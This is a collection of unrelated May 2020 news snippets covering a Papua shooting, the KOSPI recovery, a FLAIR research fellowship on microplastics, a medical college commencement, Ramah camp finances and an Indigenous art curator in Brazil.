They added that the operation was conducted as part of an ongoing investigation targeting the assets of a significant Organised Crime Group involved in the sale, supply and distribution of controlled drugs nationwide.

The operation is a significant development in the ongoing proceeds of crime investigation.
Source: Xinhua| 2020-05-22 19:09:34|Editor: huaxia

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JAKARTA, May 22 (Xinhua) -- A 35-year old civilian identified as Sakeus was shot by an armed group and found dead on Thursday in Timika, Indonesia's easternmost province of Papua, the provincial police's spokesman Ahmad Kamal said on Friday.

The victim with wounds on his belly and neck was found around a mining area of mining company PT Freeport Indonesia in Papua's sub district of Tembagapura, Kamal was quoted by Indonesia's Antara news agency as saying.

The incident was reported by a joint police-military force's personnel who heard the burst of gunfire, he said, adding that following the report police personnel went to the location of the incident and rushed the victim to Tembagapura hospital.

The victim does not belong to PT Freeport Indonesia or a mining company consortium, said Kamal. Enditem
Dealers at KB Kookmin Bank work in a dealing room at its headquarters in Yeouido, Seoul, Thursday, when the KOSPI topped the 2,000-mark at one time for the first time since early March. Yonhap



By Lee Min-hyung



The benchmark KOSPI is unlikely to suffer a second big fall in the second half of 2020 and it is expected the stock index will be on stable track for a rebound after recovering from the coronavirus-driven turmoil, analysts said.



The main bourse bounced back to over 2,000 points at one time on Thursday. This was the first time since March 6 that the KOSPI topped the symbolic 2,000-mark. The index has suffered big setbacks over the past two months when the local economy has undergone a virus-induced panic, with domestic consumption and exports remaining in the doldrums amid pandemic fears.



The stock market tumbled to below the 1,500-range in mid-March when the virus shock reached its peak here. But it has since started showing signs of a slow yet steady recovery in line with the nation's strong pump-priming measures and the declining numbers of new confirmed cases here.



Some critics argue that the local stock market may undergo a second collapse due to external shocks, as the global pandemic has not come to a complete end and Western countries are still facing growing challenges in fighting the rapid spread of COVID-19 there.



But most analysts said chances are slim that the KOSPI will suffer another big shock in the near future.



"The key lies in whether there is a second wave of coronavirus infections in Korea, but under the current situation, this is unlikely to happen," Korea Capital Market Institute economist Hwang Sei-woon said.



Recently, concerns resurfaced over the likelihood of a second wave of infections after a man tested positive for COVID-19 early May after visiting a number of nightclubs in Itaewon, Seoul. The nation's health authority believes more than 200 of the new virus cases that have been confirmed since are connected to the man.



But the number is on a steep decline, so market insiders believe the incident is not worrisome enough to cause another KOSPI collapse.



One external risk factor that may determine the future of the stock market is a reviving fear of trade disputes between the United States and China, according to Hwang.



"The KOSPI is expected to fluctuate in line with how seriously the renewed trade dispute between the world's two largest economic powerhouses unfolds," he said. "But as of now, the risk factor does not come as a serious burden to the local stock market."



Meritz Securities economist Kang Bong-joo said the main bourse may not be able to continue its upward momentum in case the nation's GDP growth in the second half of the year falls far below market expectations.



"The recent rise in the stock index was partly attributable to expectations that the local economy will be able to recover in the aftermath of the virus panic," he said. "But if the economy continues to remain in the doldrums or even gets worse, the stock index will likely drop to some extent."




Dr Dalia Saad awarded prestigious FLAIR fellowship

School of Chemistry researcher, Dr Dalia Saad, is a recipient of the 2020 FLAIR research fellowship.

Saad, an environmental chemist is among 30 young researchers from African countries including Sudan, Ethiopia, Madagascar, Cameroon, Uganda, South Africa and Ghana who will receive up to 300,000 each to conduct research over two years.

The FLAIR research fellowship by the African Academy of Sciences (AAS) and Royal Society, supported by the UKs Global Challenges Research Fund (GCRF), supports African researchers to develop into science leaders while establishing independent research careers on the continent. The fellowships are to undertake cutting-edge scientific research that will address global challenges facing developing countries.

These fellowships enable high-quality research that addresses the global development challenges faced by the African continent and provide world-class support, training, mentoring and networking opportunities to benefit early career African researchers.

Saad joins the 2019 intake of FLAIR fellows, who are already making a significant contributions to science on the continent in their fields. Her reresearch interest is on water pollution and promoting access to clean healthy water. Saad says one of the emerging environmental concerns is the Microplastic (MPs) pollution and there is little research that has investigated Microplastics in freshwaters and in Africa.

Using her research fellowship, she aims to address MPs pollution in The River Nile in Sudan and Vaal River in South Africa, which are both major African freshwater bodies in terms of their economic and social value.

"The River Nile is particularly important as the river influences people living in 11 African countries and flows through heavily populated cities. South Africa is ranked within the top 20 counties with the highest mass of mismanaged plastic waste, yet only one study has investigated MPs presence in SA freshwaters. In Sudan, there is no single study reporting the prevalence of MPs in water bodies. The outcomes of this project will therefore provide the first data on the extent of MPs presence in the River Nile, and will be the second study to estimate the abundance of MPs in the Vaal River. This will be beneficial to guide future monitoring and to facilitate decision-making and related legislation," she says.

Saad says the award resonates with her personal interests and will aid in advancing her career as a researcher. Thanks to the Royal Society and the African Academy of Sciences, I believe FLAIR will be a turning point in my career.

Professor Nelson Torto, Executive Director of the African Academy of Sciences, says, The AAS welcomes the new cohort of FLAIR grantees to our growing postdoctoral family. Postdoctoral programmes are vital in training and developing early career researchers into research leaders whose scientific leadership will influence policies that will promote the socio-economic development of the continent.

Dr Judy Omumbo, Programme Manager, Affiliates and Postdoctoral Programmes, says, The announcement of this second cohort of FLAIR fellows is a significant milestone for the postdoctoral programmes team at the AAS. We anticipate that they will find the opportunities for networking and collaborations with other African scientists unique in supporting them in their pursuit of excellence in science for the benefit of mankind.

Professor Richard Catlow, Foreign Secretary of the Royal Society congratulated all the fellows.

Climate change, food sustainability, emerging disease, these are challenges facing us all, but the risks they pose to individuals and ecosystems across Africa are especially pronounced. We are proud to be part of a programme that is investing in the next generation of African scientific leaders, as they research solutions and adaptations to these challenges.

Catlow added that the success of the programme is growing across the continent. This programme extends well beyond the grant recipients themselves. Our first cohort of FLAIR fellows are forging partnerships across institutions and disciplines, supporting young African PhD candidates and postdocs, and helping strengthen the research economies in countries such as Senegal, Democratic Republic of Congo, Cameroon, and the wider continent. We know this second cohort of talented FLAIR researchers will match their success.

The next round of FLAIR applications is currently open and will close on 27 May 2020. More details about eligibility and how to apply here.
H. William Craver III, DO '87, now dean and chief academic officer of PCOM South Georgia and formerly PCOM Georgia's dean and chief academic officer for close to 10 years, recognizeded the situation that caused a shift from the traditional ceremony. "Now is a particularly difficult time in health care and in the world," he said. "It is only appropriate to acknowledge the gravity the COVID-19 pandemic represents and the frontlines you will join."

Jay S. Feldstein, DO '81, president and CEO of Philadelphia College of Osteopathic Medicine (PCOM), addressed the class and fellow celebrants. He said, "In the end, it will be your forward-thinking leadership that will restore our nation to health. Your dedicated labor will carry us through our time of crisis. And your dream to heal will ensure that our healthcare system, post-pandemic, delivers on the unmet health and wellness needs of our society as a whole."

Class of 2020 Chair Ronak Patel, DO '20, drew his colleagues' attention to the meaning of the ceremony. "The focus of today is about celebrating what my classmates and I have accomplished over the past four years. It is difficult to put into words what this day means to us."

He noted that his fellow graduates have the opportunity to demonstrate resiliency. "We have remained and continue to remain resilient, steadfast, tenacious and tough through all the challenges we face. This current situation is no different."

"Our class will not be remembered as the class that lost commencement because of COVID-19. Instead we will be remembered as the class that remained laser-focused on meeting the challenges of an uncertain environment and succeeding in spite of the obstacles that lay ahead."

The PCOM Class of 2020 commencement ceremony can be viewed on the college's YouTube channel.

Established in 2005, PCOM Georgia is a private, not-for-profit, accredited institute of higher education dedicated to the healthcare professions. The Suwanee, Georgia, campus is affiliated with Philadelphia College of Osteopathic Medicine. For more information, visit pcom.edu or call 678-225-7500.

SOURCE Philadelphia College of Osteopathic Medicine

Related Links

http://www.pcom.edu


(JTA)The network of 10 Conservative Jewish Ramah camps in North America will lose approximately half of their collective annual revenue if they all need to cancel camp and refund tuitiona total shortfall of $27 million.

But Ramah leadership is confident that even without the 2020 season, the camps will be around for 2021.

If we dont run our camps, were going to mitigate about half of our expenses, but that leaves a lot of money to be raised, said Rabbi Mitchell Cohen, the director of the National Ramah Commission. We already know that all of our camps will be able to su...
SAO PAULO, Brazil  Sandra Benitess work is all about finding common ground. As Brazils first Indigenous art curator, the 45-year-old educator, who grew up with the Guarani Nandeva people in the village of Porto Lindo, wants to use art to bridge the gap between Indigenous Brazilians and those from other backgrounds.

She is searching for a way to show their commonality, and is looking to represent many of her countrys 305 ethnic groups in Indigenous Stories, a yearlong exhibition of global indigenous art set to take place at the Museum of Art of Sao Paulo Assis Chateaubriand, known as MASP, in 2021.

That shared thread, she said, will come in examples of storytelling and the profound connection all Indigenous Brazilians have to their land. My favorite thing is to look at the narrative  everyone has their own way of telling a story, Ms. Benites said. But what unites Indigenous people, she added, is our vision of the world and how it relates to our territory. As one of several curators of Indigenous Stories, she will organize an exhibition that will feature sculpture, paintings, photographs, dance, narrative song, performance and audiovisual art associated with the land.